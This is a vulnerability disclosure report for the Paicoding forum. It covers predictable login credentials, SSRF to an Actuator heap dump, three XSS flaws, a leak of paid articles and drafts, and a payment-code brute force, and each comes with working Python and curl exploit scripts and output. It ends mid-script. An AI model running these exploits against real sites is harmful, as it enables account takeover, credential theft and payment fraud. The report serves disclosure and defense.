# Paicoding Vulnerability Report Software: Paicoding Developer or vendor: itwanger Code repository: https://github.com/itwanger/paicoding ## 1. Predictable login credentials in loginByZsxq Brief description: An attacker reads the ZSXQ number exposed on another user's profile page and derives that member's username and password from it, which takes over the victim's account. Affected versions: 1.0.3 Introduced in: [paicoding commit b8206b97](https://github.com/itwanger/paicoding/commit/b8206b97cc504b939ca6fdc46e0a8c3e816b14e9) Preconditions: The site has at least one member account created through ZSXQ login. ### Root Cause `loginByZsxq` registers a local account when a member logs in through ZSXQ for the first time. Both the username and the password are built from the ZSXQ number and contain no random component: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/user/service/user/LoginServiceImpl.java:244-250 commit 6b85f5c327 UserPwdLoginReq loginReq = new UserPwdLoginReq() .setStarNumber(req.getStarNumber()) .setUsername("zsxq_" + req.getStarNumber()) .setPassword("zsxqp_" + req.getStarNumber()) ``` Before the number is stored, `StarNumberUtil.formatStarNumber` pads it to five digits, and the username and the password are built from the padded value. The number in the formula therefore looks like `01234`: ```java // paicoding-core/src/main/java/com/github/paicoding/forum/core/util/StarNumberUtil.java:27-29 commit 6b85f5c327 int number = Integer.parseInt(starNumber); // 格式化为5位数字符串 return String.format("%05d", number); ``` The attacker obtains the ZSXQ number from the user's profile page. Rendering the profile includes an edit form that writes the number into an input as its `value`, and this template is delivered with the `/user/{userId}` page to every visitor: ```html 星球编号 ``` Anyone who opens the profile page can read the number. Since the username and the password are a fixed function of the number, reading the number is enough to compute both, and `/login/username` issues a session once the pair matches. ### Reproduction Environment The official repository does not ship a compose file, so the application is built from source and started with compose. The build needs a JDK and Maven, the runtime is Java 8, and the container keeps the official port 8080 while the host publishes 18070. The build and start commands are: ```bash git clone https://github.com/itwanger/paicoding.git cd paicoding mvn clean install -Dmaven.test.skip=true -Pdev mkdir -p run cp -r paicoding-web/target/classes run/classes mvn -q -pl paicoding-web dependency:copy-dependencies -DoutputDirectory=$PWD/run/lib cat > run/Dockerfile <<'EOF' FROM eclipse-temurin:8-jre WORKDIR /app COPY classes /app/classes COPY lib /app/lib EXPOSE 8080 ENTRYPOINT ["java","-Xms256m","-Xmx1024m","-cp","/app/classes:/app/lib/*","com.github.paicoding.forum.web.QuickForumApplication"] EOF cat > docker-compose.yml <<'EOF' services: mysql: image: mysql:8.0 environment: MYSQL_ROOT_PASSWORD: paicoding command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --default-authentication-plugin=mysql_native_password healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-ppaicoding"] interval: 5s timeout: 5s retries: 20 volumes: - mysql-data:/var/lib/mysql redis: image: redis:7-alpine healthcheck: test: ["CMD", "redis-cli", "ping"] interval: 5s timeout: 3s retries: 20 app: build: ./run depends_on: mysql: condition: service_healthy redis: condition: service_healthy environment: PAICODING_DB_HOST: mysql PAICODING_DB_PORT: 3306 PAICODING_DB_USERNAME: root PAICODING_DB_PASSWORD: paicoding PAICODING_REDIS_HOST: redis PAICODING_REDIS_PORT: 6379 PAICODING_REDIS_PASSWORD: "" PAICODING_ES_OPEN: "false" JAVA_TOOL_OPTIONS: "-Dfile.encoding=UTF-8 -Duser.timezone=Asia/Shanghai" ports: - "18070:8080" volumes: - app-storage:/tmp/storage volumes: mysql-data: app-storage: EOF docker compose up -d ``` Once the site is up, create a member account through the site's own ZSXQ login callback to simulate that member's first login. The script is: ```python import hashlib, time, httpx BASE = 'http://127.0.0.1:18070' now = int(time.time()) p = {'app_id': '666', 'group_number': '666', 'user_id': '88001', 'user_name': 'Alice', 'user_icon': '', 'user_number': '01234', 'user_role': '', 'extra': 'login', 'join_time': str(now - 86400 * 30), 'expire_time': str(now + 86400 * 365), 'timestamp': str(now)} kv = '&'.join(f'{k}={v}' for k, v in sorted(p.items()) if v != '') p['signature'] = hashlib.sha1((kv + '&secret=666').encode()).hexdigest() c = httpx.Client(base_url=BASE, timeout=20) c.get('/login/zsxq/callback', params=p, follow_redirects=False) me = c.get('/api/admin/user/info').json()['result'] print(me) ``` The output is: ``` {'id': '6', 'createTime': '2026-11-11T18:23:24.000+00:00', 'updateTime': '2026-11-11T18:23:24.000+00:00', 'userId': '6', 'userName': 'Alice', 'role': 'NORMAL', 'photo': 'https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png', 'profile': '', 'position': '', 'company': '', 'extend': '', 'deleted': 0, 'region': '', 'starStatus': 'FORMAL', 'starNumber': '01234', 'expireTime': '2027-11-12T02:23:24.000+00:00', 'email': '', 'payCode': ''} ``` Each section below starts with `docker compose down -v` and `docker compose up -d` so the environment returns to its initial state. ### Reproduction The attacker does not log in and opens the victim's profile page. The page HTML carries an input with `id="starNumber"` whose value is the ZSXQ number: ```bash curl -sS http://127.0.0.1:18070/user/6 | grep -oE 'value="[0-9]{5}"' ``` The output is: ``` value="01234" ``` With the number in hand, the attacker computes the username and the password and logs in: ```bash curl -sS -i -X POST http://127.0.0.1:18070/login/username \ -d 'username=zsxq_01234&password=zsxqp_01234' ``` The response is: ``` HTTP/1.1 200 Set-Cookie: f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E; Max-Age=432000; Expires=Tue, 17-Nov-2026 02:23:33 GMT; Domain=127.0.0.1; Path=/ {"status":{"code":0,"msg":"OK"},"result":true} ``` Reading the user profile with that session returns the victim Alice's record and a FORMAL membership: ```bash curl -sS -b 'f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgyMjEzLCJzIjoiYzBhODIwMDQuMTc5NDQ1MDIxMzE4MC4wMDAwMTEwMDYiLCJ1Ijo2fQ.U-dKtGDve8SVJ943xevwjh3vemvZwsNbj9friDGVs3E' \ http://127.0.0.1:18070/api/admin/user/info ``` The response is: ``` {"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:23:24.000+00:00","updateTime":"2026-11-11T18:23:24.000+00:00","userId":"6","userName":"Alice","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0091.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"FORMAL","starNumber":"01234","expireTime":"2027-11-12T02:23:24.000+00:00","email":"","payCode":""}} ``` In the browser the session is already inside Alice's account, and the page shows the ZSXQ number and the membership expiry: ![](img/f10-02-taken-over-account.png) ## 2. Image transfer SSRF reads Actuator heap dump Brief description: An ordinary user uses the image transfer endpoint to reach the Actuator that only listens on loopback, has the heap dump written to the static directory, then downloads that file anonymously and extracts the database password, signing keys and active sessions from it. Affected versions: 1.0.3 Introduced in: [paicoding commit 54d01f9e](https://github.com/itwanger/paicoding/commit/54d01f9e6d31cb42cdad6fdc5d2a61e72e5c947e) Preconditions: The attacker has an ordinary account. ### Root Cause `/image/save` only requires login, takes `img` from the caller and performs no address validation: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:90-113 commit 6b85f5c327 public String saveImg(String img) { if (imageUploader.uploadIgnore(img)) { return img; } try { InputStream stream = FileReadUtil.getStreamByFileName(img); URI uri = URI.create(img); String path = uri.getPath(); int index = path.lastIndexOf("."); String fileType = null; if (index > 0) { fileType = path.substring(index + 1); } String digest = calculateSHA256(stream); String ans = imgReplaceCache.getIfPresent(digest); if (StringUtils.isBlank(ans)) { ans = imageUploader.upload(stream, fileType); imgReplaceCache.put(digest, ans); } ... ``` The file extension comes from the URL path suffix and the content comes from the remote response. `LocalStorageWrapper` then writes the stream to the local directory and uses that suffix as the file type: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/image/oss/impl/LocalStorageWrapper.java:52-59 commit 6b85f5c327 String path = imageProperties.getAbsTmpPath() + imageProperties.getWebImgPath(); String fileName = genTmpFileName(); InputStream finalInput = input; String finalFileType = fileType; FileWriteUtil.FileInfo file = stopWatchUtil.record("存储", () -> FileWriteUtil.saveFileByStream(finalInput, path, fileName, finalFileType)); return imageProperties.buildImgUrl(imageProperties.getWebImgPath() + file.getFilename() + "." + file.getFileType()); ``` The Actuator admin port is bound to loopback but exposes every endpoint: ```yaml # paicoding-web/src/main/resources/application.yml:143-150 commit 6b85f5c327 management: server: address: 127.0.0.1 # 设置为本地ip,防止远程访问该连接进行关闭服务 port: 8999 endpoints: web: exposure: include: "*" ``` Binding the admin port to loopback does not protect it, because the transfer endpoint runs inside the same host. When `fileType` is empty, `LocalStorageWrapper.upload` reads the whole stream into a byte array to detect the magic number, which exhausts memory for a heap dump of several hundred megabytes, so the request path needs a suffix. With the path written as `heapdump;x=.txt`, `path.lastIndexOf(".")` picks up the suffix inside `;x=.txt`, so that branch is skipped and the dump is written straight to disk as `/forum/image/xxxx.txt`. ### Reproduction Environment Same as section 1. ### Reproduction First log the administrator in once so an active session exists in the JVM heap, then register an ordinary account as the attacker and call the transfer endpoint. The script is: ```python import base64, json, re, httpx BASE = 'http://127.0.0.1:18070' MGMT = '127.0.0.1:8999' admin = httpx.Client(base_url=BASE, timeout=20) admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'}) print('[victim] administrator logged in, f-session=%s' % admin.cookies.get('f-session')) attacker = httpx.Client(base_url=BASE, timeout=None) attacker.post('/login/register', data={'username': 'dumpbot', 'password': 'Dump@12345', 'starNumber': '01000', 'displayName': 'dumpbot'}) attacker.post('/login/username', data={'username': 'dumpbot', 'password': 'Dump@12345'}) print('[attacker] ordinary account f-session=%s' % attacker.cookies.get('f-session')) r = attacker.get('/image/save', params={'img': 'http://%s/actuator/heapdump;x=.txt' % MGMT}) print('[attacker] GET /image/save?img=http://%s/actuator/heapdump;x=.txt' % MGMT) print(' -> %s %s' % (r.status_code, r.text)) heap_path = r.json()['result']['imagePath'] anon = httpx.Client(base_url=BASE, timeout=20) heap = anon.get(heap_path).content print('[attacker] anonymous GET %s -> %d bytes' % (heap_path, len(heap))) print('[attacker] magic: %r' % heap[:18]) tokens = set() for m in re.finditer(rb'f-session=([A-Za-z0-9_.\-]{150,260})', heap): cand = m.group(1).decode() if cand.count('.') == 2: tokens.add(cand) print('[attacker] f-session values in the heap: %d' % len(tokens)) for tok in sorted(tokens): claims = json.loads(base64.urlsafe_b64decode(tok.split('.')[1] + '=' * (-len(tok.split('.')[1]) % 4))) info = httpx.get(BASE + '/api/admin/user/info', cookies={'f-session': tok}, timeout=10) if info.json().get('result'): print('[attacker] token u=%s -> %s' % (claims['u'], info.text)) print('[attacker] f-session=%s' % tok) for needle in (b'hello_world', b'PAICODING_DB_PASSWORD'): print('[attacker] heap contains %r: %s' % (needle, needle in heap)) ``` The output is: ``` [victim] administrator logged in, f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c [attacker] ordinary account f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM [attacker] GET /image/save?img=http://127.0.0.1:8999/actuator/heapdump;x=.txt -> 200 {"status":{"code":0,"msg":"OK"},"result":{"imagePath":"/forum/image/20261112105344552_77.txt"}} [attacker] anonymous GET /forum/image/20261112105344552_77.txt -> 201717245 bytes [attacker] magic: b'JAVA PROFILE 1.0.2' [attacker] f-session values in the heap: 3 [attacker] token u=1 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"1","createTime":"2026-11-11T18:53:31.000+00:00","updateTime":"2026-11-11T18:53:31.000+00:00","userId":"1","userName":"管理员","role":"ADMIN","photo":"https://imgs.hhui.top/forum/avatar/0066.png","profile":"码农","position":"java","company":"xm","extend":"","deleted":0,"region":"","starStatus":"IGNORE","starNumber":"","expireTime":null,"email":"","payCode":""}} [attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDE5LCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAxOTcyOS4wMDAwMTEwMDIiLCJ1IjoxfQ.tL_3sCtpU3FyXh-ygKpJB7FrHNhvGUVbhOOf86tJs2c [attacker] token u=6 -> {"status":{"code":0,"msg":"OK"},"result":{"id":"6","createTime":"2026-11-11T18:53:40.000+00:00","updateTime":"2026-11-11T18:53:40.000+00:00","userId":"6","userName":"dumpbot","role":"NORMAL","photo":"https://cdn.tobebetterjavaer.com/paicoding/avatar/0058.png","profile":"","position":"","company":"","extend":"","deleted":0,"region":"","starStatus":"TRYING","starNumber":"01000","expireTime":null,"email":"","payCode":""}} [attacker] f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODg0MDIwLCJzIjoiYWMxNDAwMDQuMTc5NDQ1MjAyMDI0OC4wMDAwMTEwMDYiLCJ1Ijo2fQ.yKyD5ocatBX8GoxwzDTo9WXeQDV7EDQPgx7h2I7m6HM [attacker] heap contains b'hello_world': True [attacker] heap contains b'PAICODING_DB_PASSWORD': True ``` `hello_world` is the plain value of `paicoding.jwt.secret`, and `PAICODING_DB_PASSWORD` is the name of the environment variable that holds the database password. Besides the password and the secret, the heap also retains the `f-session` values written when other users logged in, and the u=1 session recovered above reaches the admin endpoints. ## 3. Image upload XSS Brief description: An attacker uploads an SVG that carries a script, and the victim executes it in the site origin on opening the file, which takes over the victim's account. Affected versions: 1.0.0 to 1.0.3 Introduced in: [paicoding commit 08da669b](https://github.com/itwanger/paicoding/commit/08da669b5ab1ef2183ed112a9945e962c46f8280) Preconditions: The attacker has an ordinary account. ### Root Cause `validateStaticImg` decides the type from the `Content-Type` declared by the request, and `svg` is explicitly allowed: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/image/service/ImageServiceImpl.java:174-180 commit 6b85f5c327 private String validateStaticImg(String mime) { if ("svg".equalsIgnoreCase(mime)) { // fixme 上传文件保存到服务器本地时,做好安全保护, 避免上传了要给攻击性的脚本 return "svg"; } ``` The file content is not validated, so an SVG that carries a script is stored as `.svg` unchanged. Local storage puts the file into the static directory, `spring.web.resources.static-locations` serves that directory, and `.svg` is returned as `image/svg+xml`. The session cookie `f-session` carries no `HttpOnly` flag, so the script can read it. ### Reproduction Environment Same as section 1. ### Reproduction The attacker registers an ordinary account and uploads an SVG that carries a script: ```python import httpx BASE = 'http://127.0.0.1:18070' SVG = ''' Uploaded SVG file, document.cookie: ''' c = httpx.Client(base_url=BASE, timeout=30) c.post('/login/register', data={'username': 'uploadbot', 'password': 'Up@12345', 'starNumber': '01200', 'displayName': 'uploadbot'}) c.post('/login/username', data={'username': 'uploadbot', 'password': 'Up@12345'}) r = c.post('/image/upload', files={'image': ('a.svg', SVG.encode(), 'svg')}) print(r.text) print(BASE + r.json()['result']['imagePath']) ``` The output is: ``` {"status":{"code":0,"msg":"OK"},"result":{"imagePath":"/forum/image/20261112103353393_10.svg"}} http://127.0.0.1:18070/forum/image/20261112103353393_10.svg ``` The victim opens the link and the script reads the session: ![](img/f2-01-svg-xss.png) ## 4. JSON-LD XSS on profile pages Brief description: An attacker writes a profile that closes the surrounding `script` element, and every visitor of that profile page executes the attacker's script, which takes over the victim's account. Affected versions: 1.0.0 to 1.0.3 Introduced in: [paicoding commit 5cc55070](https://github.com/itwanger/paicoding/commit/5cc550704f725fddbbf0ec5a58473494ad2cff7f) Preconditions: The attacker has an ordinary account. ### Root Cause The page emits the JSON-LD through `th:utext`: ```html ``` The JSON-LD is serialized by Hutool and inserted into the page unchanged, without escaping `<`: ```java // paicoding-web/src/main/java/com/github/paicoding/forum/web/global/GlobalInitService.java:76-84 commit 6b85f5c327 vo.setJsonLd(JSONUtil.toJsonStr(seo.getJsonLd())); ``` The user profile page puts the profile text into that structure: ```java // paicoding-web/src/main/java/com/github/paicoding/forum/web/global/SeoInjectService.java:386-388 commit 6b85f5c327 jsonLd.put("headline", title); jsonLd.put("description", user.getUserHome().getProfile()); ``` The profile text is edited by the user and `saveUserInfo` stores it unchanged, so a `` inside the profile closes the JSON-LD's `script` element early and the rest of the input runs as a script. ### Reproduction Environment Same as section 1. ### Reproduction The attacker registers an account and changes the profile: ```python import httpx BASE = 'http://127.0.0.1:18070' PAYLOAD = ("") c = httpx.Client(base_url=BASE, timeout=20) c.post('/login/register', data={'username': 'jsonldbot2', 'password': 'Json@12345', 'starNumber': '01011', 'displayName': 'jsonldbot2'}) c.post('/login/username', data={'username': 'jsonldbot2', 'password': 'Json@12345'}) me = c.get('/api/admin/user/info').json()['result'] print('[attacker] userId=%s' % me['userId']) print('[attacker] saveUserInfo ->', c.post('/user/api/saveUserInfo', json={'userId': me['userId'], 'userName': 'jsonldbot2', 'profile': PAYLOAD}).text) print('[victim] URL: %s/user/%s' % (BASE, me['userId'])) ``` The output is: ``` [attacker] userId=6 [attacker] saveUserInfo -> {"status":{"code":0,"msg":"OK"},"result":true} [victim] URL: http://127.0.0.1:18070/user/6 ``` Reading that profile anonymously yields the following JSON-LD fragment: ``` application/ld+json">{"author":{"@type":"Person","name":"jsonldbot2"},"description":"","@context":"https://schema.org","headline":"技术派 | jsonldbot2 的主页","url":"https://paicoding.com/user/6"} ``` The victim opens the profile and the script reads the session: ![](img/f4-01-jsonld-xss.png) ## 5. Payment notice template XSS Brief description: An attacker puts a script in the display name and starts a pending payment on the victim author's paid article, after which the display name appears in the system notice and is executed as HTML, which takes over the victim's account. Affected versions: 1.0.3 Introduced in: [paicoding commit 766c48b3](https://github.com/itwanger/paicoding/commit/766c48b39037970853af56f8d86dedbf7a8a2c1c) Preconditions: The victim author has a paid article that uses a personal payment QR code. ### Root Cause The pending payment notice inserts the payer's display name into the notice body: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/notify/service/impl/NotifyMsgListener.java:274-287 commit 6b85f5c327 if (PayStatusEnum.PAYING == payStatus) { BaseUserInfoDTO payUser = userService.queryBasicUserInfo(record.getPayUserId()); msg = new NotifyMsgDO().setRelatedId(record.getArticleId()) ... .setMsg(String.format("您的文章 %s 收到一份来自 %s 的 [%s] 打赏,点击 去确认~", record.getArticleId(), article.getTitle(), payUser.getUserId(), payUser.getUserName(), ... ``` Here `payUser.getUserName()` is the display name submitted at registration and it is not escaped. The notice template outputs the body through `th:utext`: ```html
m
``` The display name is limited to 50 characters, which is enough for a short payload such as ``. Starting a pending payment only requires a call to `paying` after login and no real payment. ### Reproduction Environment Same as section 1. The victim account needs a paid article whose `payWay` is `email`, and the script creates it. ### Reproduction The script is: ```python import httpx, time BASE = 'http://127.0.0.1:18070' admin = httpx.Client(base_url=BASE, timeout=20) admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'}) print('[victim] admin login, f-session=%s' % admin.cookies.get('f-session')) admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员', 'payCode': {'email': 'admin@paicoding.example'}}) r = admin.post('/article/api/post', json={ 'articleType': 'BLOG', 'source': 2, 'title': 'paid-article-demo', 'urlSlug': 'paidarticle%d' % int(time.time()), 'content': '

paid body

', 'categoryId': 1, 'readType': 4, 'payWay': 'email', 'payAmount': 1, 'actionType': 'post', 'tagIds': [1], 'summary': 'paid'}) aid = r.json()['result']['articleId'] print('[victim] paid article id=%s (readType=4, payWay=email)' % aid) PAYLOAD = '' att = httpx.Client(base_url=BASE, timeout=20) att.post('/login/register', data={'username': 'notifybot3', 'password': 'Not@12345', 'starNumber': '01031', 'displayName': PAYLOAD}) att.post('/login/username', data={'username': 'notifybot3', 'password': 'Not@12345'}) print('[attacker] display name: %s' % PAYLOAD) pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result'] print('[attacker] toPay -> payId=%s payWay=%s payStatus=%s' % (pay['payId'], pay['payWay'], pay['payStatus'])) r = att.get('/article/api/pay/paying', params={'payId': pay['payId'], 'succeed': 'true'}) print('[attacker] paying -> %s %s' % (r.status_code, r.text)) html = admin.get('/notice/api/items', params={'type': 'system', 'page': 1, 'pageSize': 10}).json()['result']['html'] print('[victim] system notice contains payload: %s' % (PAYLOAD in html)) i = html.find('收到一份来自') print('[victim] notice text: %s' % html[i - 30:i + 300].replace('\n', ' ')) ``` The output is: ``` [victim] admin login, f-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYWlfY29kaW5nIiwiZXhwIjoxNzk0ODgzMjU2LCJzIjoiYzBhOGEwMDQuMTc5NDQ1MTI1NjUwMy4wMDAwMTEwMDIiLCJ1IjoxfQ.x-RFwqEFyD3IFucHrCrYg9fxaffpYxbCgcr-VvAyfys [victim] paid article id=2631610125049857 (readType=4, payWay=email) [attacker] display name: [attacker] toPay -> payId=2631610125049858 payWay=email payStatus=0 [attacker] paying -> 200 {"status":{"code":0,"msg":"OK"},"result":true} [victim] system notice contains payload: True [victim] notice text: 049857">paid-article-demo 收到一份来自 的 [个人收款码] 打赏,点击 去确认~ ``` The author opens the system notice page, the script runs and shows the session: ![](img/f6-01-notice-xss.png) ## 6. Unauthenticated article detail API leaks paid and draft content Brief description: An unauthenticated caller of the article detail API receives the full body of paid articles, login-only articles and ZSXQ member articles, and unpublished drafts as well. Affected versions: 1.0.3 Introduced in: [paicoding commit 01ad91e6](https://github.com/itwanger/paicoding/commit/01ad91e67ef796d485de9273ea1e90331b28c9b2) Preconditions: None. ### Root Cause The detail API converts the full body to HTML and returns it without consulting the read permission: ```java // paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticleRestController.java:87-94 commit 6b85f5c327 @GetMapping("/data/detail/{articleId}") public ResVo detail(@PathVariable(name = "articleId") Long articleId) throws IOException { ArticleDetailVo vo = new ArticleDetailVo(); // 文章相关信息 ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId()); // 返回给前端页面时,转换为html格式 articleDTO.setContent(MarkdownConverter.markdownToHtml(articleDTO.getContent())); vo.setArticle(articleDTO); ``` Only the page rendering path truncates the body: ```java // paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/view/ArticleViewController.java:247-249 commit 6b85f5c327 ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId()); // 根据文章类型,来自动处理文章内容 String content = articleReadViewServiceExtend.formatArticleReadType(articleDTO); ``` `formatArticleReadType` truncates the body according to `readType`, but the detail API never passes through it. In addition, `ArticleDao.queryArticleDetail` only restricts articles under review, so the draft state is not covered: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/article/repository/dao/ArticleDao.java:71-85 commit 6b85f5c327 ArticleDO article = baseMapper.selectById(articleId); if (article == null || Objects.equals(article.getDeleted(), YesOrNoEnum.YES.getCode())) { return null; } // 查询文章正文 ArticleDTO dto = ArticleConverter.toDto(article); if (showReviewContent(article)) { ArticleDetailDO detail = findLatestDetail(articleId); dto.setContent(detail.getContent()); } else { dto.setContent("### 文章审核中,请稍后再看"); } ``` The bodies of drafts, paid articles and member articles are therefore returned unchanged by this API. The article short link entry `ArticleSlugViewController` renders the detail by id, so drafts are readable through the short link page as well. ### Reproduction Environment Same as section 1. ### Reproduction First create a paid article and a draft as the administrator, then read them with an anonymous session. The script is: ```python import httpx, time BASE = 'http://127.0.0.1:18070' SECRET = 'PAYWALL_SECRET_9Z' DRAFT = 'DRAFT_SECRET_7Q' admin = httpx.Client(base_url=BASE, timeout=20) admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'}) slug1 = 'paidleak%d' % int(time.time()) paid = admin.post('/article/api/post', json={ 'articleType': 'BLOG', 'source': 2, 'title': 'paid-leak-demo', 'urlSlug': slug1, 'content': '

' + 'A' * 600 + SECRET + '

', 'categoryId': 1, 'readType': 4, 'payWay': 'email', 'payAmount': 9, 'actionType': 'post', 'tagIds': [1], 'summary': 'paid'}).json()['result']['articleId'] slug2 = 'draftleak%d' % int(time.time()) draft = admin.post('/article/api/post', json={ 'articleType': 'BLOG', 'source': 2, 'title': 'draft-leak-demo', 'urlSlug': slug2, 'content': '

' + 'B' * 600 + DRAFT + '

', 'categoryId': 1, 'readType': 0, 'actionType': 'save', 'tagIds': [1], 'summary': 'draft'}).json()['result']['articleId'] print('[victim] paid article id=%s slug=%s' % (paid, slug1)) print('[victim] draft article id=%s slug=%s' % (draft, slug2)) anon = httpx.Client(base_url=BASE, timeout=20) page = anon.get('/' + slug1).text print('[anonymous] GET /%s page contains secret: %s' % (slug1, SECRET in page)) body = anon.get('/article/api/data/detail/%s' % paid).json()['result']['article']['content'] print('[anonymous] REST detail tail: %r' % body[-80:]) print('[anonymous] REST detail contains secret: %s' % (SECRET in body)) page = anon.get('/' + slug2).text print('[anonymous] GET /%s page contains draft secret: %s' % (slug2, DRAFT in page)) body = anon.get('/article/api/data/detail/%s' % draft).json()['result']['article']['content'] print('[anonymous] REST detail contains draft secret: %s' % (DRAFT in body)) ``` The output is: ``` [victim] paid article id=2631610710155265 slug=paidleak1794451813 [victim] draft article id=2631610710155266 slug=draftleak1794451814 [anonymous] GET /paidleak1794451813 page contains secret: False [anonymous] REST detail tail: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAYWALL_SECRET_9Z

\n' [anonymous] REST detail contains secret: True [anonymous] GET /draftleak1794451814 page contains draft secret: True [anonymous] REST detail contains draft secret: True ``` An ordinary user cannot read the `PAYWALL_SECRET_9Z` part of the paid article: ![](img/f3-01-paywalled-page.png) ## 7. Enumerable confirmation code for payment QR Brief description: An attacker enumerates the confirmation code of a payment record, marks it as paid and unlocks the paid article without paying. Affected versions: 1.0.3 Introduced in: [paicoding commit e491dfdf](https://github.com/itwanger/paicoding/commit/e491dfdff57b6ab8c5ca7488faefdd8cd20f6206) Preconditions: The attacker has an ordinary account, and the target article uses a personal payment QR code. ### Root Cause The confirmation code is built from a fixed prefix, a global increasing counter and the payment record id: ```java // paicoding-core/src/main/java/com/github/paicoding/forum/core/util/id/IdUtil.java:54-61 commit 6b85f5c327 public static String genPayCode(ThirdPayWayEnum payWay, Long id) { long now = System.currentTimeMillis(); if (DateUtil.skipDay(lastTime, now)) { lastTime = now; INCR.set((int) (Math.random() * 500)); } return payWay.getPrefix() + String.format("%06d", INCR.addAndGet(1)) + "-" + id; } ``` `INCR` is a counter inside the process that starts each day from a random value between 0 and 499, so the counter part only has around 2000 possible values. The payment record id comes back to the payer in the `toPay` response. The callback endpoint requires no login and passes the request parameters to the payment service: ```java // paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticlePayRestController.java:79-90 commit 6b85f5c327 @RequestMapping(path = "callback") public ResponseEntity> callback(HttpServletRequest request) { return (ResponseEntity>) payServiceFactory.getPayService(ThirdPayWayEnum.EMAIL) .payCallback(request, new Function() { ``` The payment service reads `verifyCode`, `payId` and `succeed` from the request: ```java // paicoding-service/src/main/java/com/github/paicoding/forum/service/pay/service/integration/email/EmailPayIntegration.java:58-62 commit 6b85f5c327 public PayCallbackBo payCallback(HttpServletRequest request) { String outTradeNo = request.getParameter("verifyCode"); Long payId = Long.parseLong(request.getParameter("payId")); PayStatusEnum payStatus = Objects.equals("true", request.getParameter("succeed")) ? PayStatusEnum.SUCCEED : PayStatusEnum.FAIL; ``` `updatePayStatus` only compares the `verifyCode` stored in the record and never checks who the caller is, so enumerating the counter marks the record as paid. ### Reproduction Environment Same as section 1. ### Reproduction The script is: ```python import concurrent.futures, httpx, time BASE = 'http://127.0.0.1:18070' SECRET = 'PAYBYPASS_SECRET_77' admin = httpx.Client(base_url=BASE, timeout=20) admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'}) admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员', 'payCode': {'email': 'admin@paicoding.example'}}) slug = 'paidemail%d' % int(time.time()) r = admin.post('/article/api/post', json={ 'articleType': 'BLOG', 'source': 2, 'title': 'paid-email-demo', 'urlSlug': slug, 'content': '

' + 'C' * 600 + SECRET + '

', 'categoryId': 1, 'readType': 4, 'payWay': 'email', 'payAmount': 1, 'actionType': 'post', 'tagIds': [1], 'summary': 'p'}) aid = r.json()['result']['articleId'] print('[victim] paid article id=%s slug=%s payWay=email' % (aid, slug)) att = httpx.Client(base_url=BASE, timeout=20) att.post('/login/register', data={'username': 'payleech', 'password': 'Pay@12345', 'starNumber': '01040', 'displayName': 'payleech'}) att.post('/login/username', data={'username': 'payleech', 'password': 'Pay@12345'}) pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result'] pay_id = pay['payId'] print('[attacker] toPay -> payId=%s payStatus=%s payWay=%s' % (pay_id, pay['payStatus'], pay['payWay'])) def probe(n): code = 'EM%06d-%s' % (n, pay_id) rr = httpx.get(BASE + '/article/api/pay/callback', params={'verifyCode': code, 'payId': pay_id, 'succeed': 'true'}, timeout=5) if rr.status_code == 200 and rr.json().get('result') is True: return code return None found = None with concurrent.futures.ThreadPoolExecutor(max_workers=30) as ex: for res 